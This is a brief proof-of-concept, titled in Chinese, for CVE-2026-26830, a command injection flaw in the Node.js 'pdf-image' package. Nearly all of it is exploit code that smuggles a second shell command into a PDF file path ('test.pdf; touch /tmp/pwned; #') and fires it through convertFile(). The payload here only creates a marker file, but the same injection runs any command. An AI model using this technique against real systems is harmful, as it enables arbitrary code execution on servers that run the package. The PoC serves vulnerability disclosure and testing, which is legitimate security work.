CVE-2026-26830 pdf-image操作系统命令注入漏洞

// PoC for CVE-2026-26830: pdf-image OS Command Injection const pdfImage = require('pdf-image'); // Malicious payload containing shell metacharacters // Example: Creating a file named 'pwned' in /tmp/ const maliciousFilePath = "test.pdf; touch /tmp/pwned; #"; try { // Initialize pdfImage with the malicious path const image = new pdfImage(maliciousFilePath); // The convertFile function triggers the vulnerable command execution image.convertFile().then(function (imagePaths) { console.log('Exploit successful. Check /tmp/pwned'); }).catch(function (err) { console.log('Error:', err); }); } catch (e) { console.log(e); }